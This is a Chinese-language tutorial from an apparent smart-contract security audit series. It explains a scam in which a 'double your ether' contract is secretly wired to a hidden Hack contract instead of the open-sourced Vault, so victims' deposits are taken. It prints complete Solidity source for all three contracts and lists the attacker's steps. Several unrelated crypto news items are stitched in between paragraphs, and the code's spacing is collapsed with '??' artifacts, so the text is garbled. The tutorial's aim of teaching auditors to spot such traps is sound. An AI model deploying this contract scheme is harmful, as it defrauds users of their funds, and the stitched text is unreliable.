MAKE:智能合约安全审计入门篇 —— 移花接木

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法，本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址，在攻击合约中就可以调用目标合约中的函数吗，有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源，其实我们会在部署A合约时传入C合约的地址，如果受害者完全信任我们没有检查部署A合约的那笔交易，我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑：

Web3智能合约钱包Unipass上线Scrollpre-alpha测试网:12月19日消息，Web3智能合约钱包Unipass现已部署在以太坊扩容项目Scrollpre-alpha测试网上。Unipass是一个建立在MPC密钥管理之上的智能合约钱包，用户可以使用电子邮件和密码注册，并且支持on-chain Email社交恢复，帮助用户方便地管理他们的私钥，而无需使用Web2用户不熟悉且容易出错的助记词等工具。[2022/12/19 21:53:37]

用户以为的调用路径：

部署合约A传入合约B地址，这样调用路径为正常路径。

实际的调用路径：

部署合约A传入合约C地址，这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局：

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

Argent即将上线的L2智能合约钱包将支持部分DeFi应用:8月26日，智能合约钱包Argent发推表示，即将上线的基于zkSync的二层网络钱包将支持Lido、Aave、Yearn、Paraswap和IndexedFinance等DeFi应用。据悉，当推特用户询问Argent，这是否意味着这些DeFi协议会部署至zkSync的二层网络中时，Argent表示，用户可以通过Argent在zkSync中的L2账户接入这些DeFi应用。[2021/8/26 22:39:41]

局分析

可以看到，上述代码中存在三个合约，我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色：

MoneyMaker合约代表A合约；

Vault合约代表B合约；

Hack合约代表C合约。

所以用户以为的调用路径为：

MoneyMaker->Vault。

流动性挖矿项目CORE出现绕过其智能合约转账规则从流动性交易对中撤回资金的情况:流动性挖矿项目 CORE 表示，发现有人从 CORE 流动性交易对中撤回了流动性资金，这违反了 CORE 智能合约的设计初衷。按理来说，撤回流动性资金是非常困难的，需要设置特定的 EVM （以太坊虚拟机）状态，或者在代币合约启动当日可能会有千分之一的机会发生这种情况。本次特例事件应该是一个巧合，CORE 团队此前撰文称，所有转账都必须获得 CORE 转账智能合约的批准，这将阻止从 Uniswap 中提取所有的流动资金，以确保市场稳定性，使代币持有者和挖矿农民在获得竞争性优势。[2020/9/27]

而实际的调用路径为：

MoneyMaker->Hack。

下面我们来看看攻击者如何完成局的：

1.Evil部署Vault(B)合约并在合约中留存100ETH资金，在链上将Vault(B)合约开源；

2.Evil部署Hack(C)恶意合约；

区块链安全审计公司：Cardano将成为仅次于以太坊的智能合约平台:金色财经报道，过去两个月一直在审核Cardano代码库的区块链安全审计公司Quantstamp认为，在Shelley硬分叉后，Cardano将成为仅次于以太坊的第二大智能合约平台。Quantstamp首席执行官Richard Ma表示，他们最近审计了ETH 2.0的prysm，在质量方面，他们认为Cardano与prysm相似，是区块链领域最好的代码库之一。[2020/8/4]

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约，部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址，任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报；

4.Bob收到消息，了解到MoneyMaker合约的存在，他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样，他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil；

金色财经现场报道Emotiq首席执行官Joel Reymont：智能合约是用户与区块链的接口:金色财经前方记者实时报道，第二届全球金融科技与区块链中国峰会于4月12日在上海召开，CEmotiq首席执行官Joel Reymont在峰会上表示，智能合约语言其实就是一个接口，也就是你和区块链的接口。但是现实存在的问题是，目前智能合约的语言非常复杂，编程起来也比较困难，而且还存在很多漏洞，黑客可以利用这些漏洞来偷取加密货币。而我们要做什么呢？我们会不会有更加专业化，或者去培育更加专业化的程序员，把这个事情做对。我觉得这个可能不太现实。我们想要区块链能够让大家共享的，但是我们却给区块链接入创造了一些障碍，但是我们还是有一丝希望存在，这个一丝希望叫做静态的分析。[2018/4/12]

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH，在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢？其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址，而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太，而是调用了Hack.transfer()抛出了一个事件："Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出，并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己，不要相信任何人精彩的话术，交易记录不会造假，只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

标签：MAKEMakerMONVAULTmakerdao是什么币MakerDAOMongoose CoinVAULT币

ICP热门资讯